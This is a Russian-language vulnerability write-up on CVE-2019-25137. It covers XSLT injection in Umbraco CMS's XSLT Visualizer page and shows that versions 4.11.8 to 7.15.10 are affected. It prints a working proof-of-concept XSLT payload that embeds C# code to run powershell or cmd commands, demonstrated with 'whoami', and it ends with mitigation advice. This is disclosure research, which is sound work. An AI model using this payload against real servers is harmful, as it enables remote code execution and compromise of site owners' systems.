
Разбор, исследующий полный масштаб CVE-2019-25137
CVE-2019-25137 — это уязвимость XSLT-инъекции в Umbraco CMS. Уязвимость присутствует на веб-странице XSLT (Extensive Stylesheet Language Transformations) Visualizer. Уязвимый URI этой страницы: /umbraco/developer/Xslt/xsltVisualize.aspx.
Успешная эксплуатация XSLT Visualizer может привести к выполнению C#-кода на целевой системе. Для эксплуатации уязвимости пользователю требуются легитимные учётные данные администратора Umbraco CMS.
Доказательство концепции для CVE-2019-25137 использует элемент msxsl:script. Этот элемент позволяет использовать в XSLT-преобразованиях дополнительные языки программирования, такие как C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
Полезная нагрузка XSLT пытается выполнить следующий C#-код.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
C#-код разбит на следующие операторы — все определения документированы на сайте Microsoft.
| Функция | Описание |
|---|---|
| System.Diagnostics.Process proc | Обеспечивает доступ к локальным и удалённым процессам и позволяет пользователю запускать и останавливать локальные системные процессы, данный экземпляр называется "proc". |
| proc.StartInfo.FileName | Определяет имя приложения, которое пользователь хочет запустить (powershell или cmd). |
| proc.StartInfo.Arguments | Определяет любые дополнительные переменные, которые могут потребоваться для FileName. |
| proc.StartInfo.UseShellExecute | Значение, указывающее, следует ли использовать системную оболочку операционной системы для запуска процесса. Устанавливается в false, так как используется powershell или cmd. |
| proc.StartInfo.RedirectStandardOutput | Значение, указывающее, записывается ли вывод приложения в поток StandardOutput. Устанавливается в true. |
| proc.Start() | Запускает ресурс процесса "proc" и связывает его с компонентом Process. |
| string output = proc.StandardOutput.ReadToEnd() | Выполняет синхронное чтение данных из "proc" и перенаправляет их в переменную "output". |
Поскольку Umbraco является CMS с открытым исходным кодом, я получил различные версии установки с их сайта, чтобы определить, какие версии, как старые, так и новые, всё ещё могут содержать xsltVisualize.aspx.

Анализ показывает, что файл xsltVisualize.aspx присутствует в Umbraco CMS версии 4.11.8 до версии 7.15.10. Этот файл и вся папка Development отсутствуют в версиях 8.0.0 и новее.

Чтобы продемонстрировать, что самая ранняя версия также уязвима для CVE-2019-25137, я настроил тестовый экземпляр Umbraco 4.11.8.

Сравнение xsltVisualize.aspx из Umbraco CMS 4.11.8 с таковым из Umbraco CMS версии 7.12.4 показывает, что, хотя есть небольшие различия, функциональность страниц одинакова.

Для тестирования эксплойта пользователю необходимо отправить полезную нагрузку в поле xsltSelection.

Используя предоставленную ранее полезную нагрузку, мне удалось добиться удалённого выполнения кода, что указывает на то, что эта версия также уязвима. Изображение ниже демонстрирует выполнение whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Чтобы продемонстрировать, что самая последняя версия Umbraco, содержащая xsltVisualize.aspx, также уязвима, я настроил тестовый экземпляр Umbraco 7.15.10.

Сравнение xsltVisualize.aspx из Umbraco CMS 7.15.10 с таковым из Umbraco CMS версии 7.12.4 показывает, что они идентичны.

Переход по URI /umbraco/developer/Xslt/xsltVisualize.aspx показывает, что файл действительно присутствует.

Используя ту же полезную нагрузку, что и ранее, мне снова удалось добиться удалённого выполнения кода, что указывает на то, что эта версия также уязвима. Изображение ниже демонстрирует выполнение whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Эти примеры демонстрируют, что CVE-2019-25137 присутствует в версиях Umbraco, отличных от 7.12.4. Все версии от 4.11.8 до 7.15.10 содержат уязвимую веб-страницу и поэтому должны быть включены в обновление CVE. Защиту от CVE-2019-25137 можно обеспечить, удалив доступ к файлу xsltVisualize.aspx или выполнив обновление до последней версии Umbraco.
Оригинальный CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
Дата выпуска Umbraco - https://our.umbraco.com/download/releases/774
Версии Umbraco - https://our.umbraco.com/download/releases
Определение XSLT - https://en.wikipedia.org/wiki/XSLT
Использованная полезная нагрузка - https://github.com/noraj/Umbraco-RCE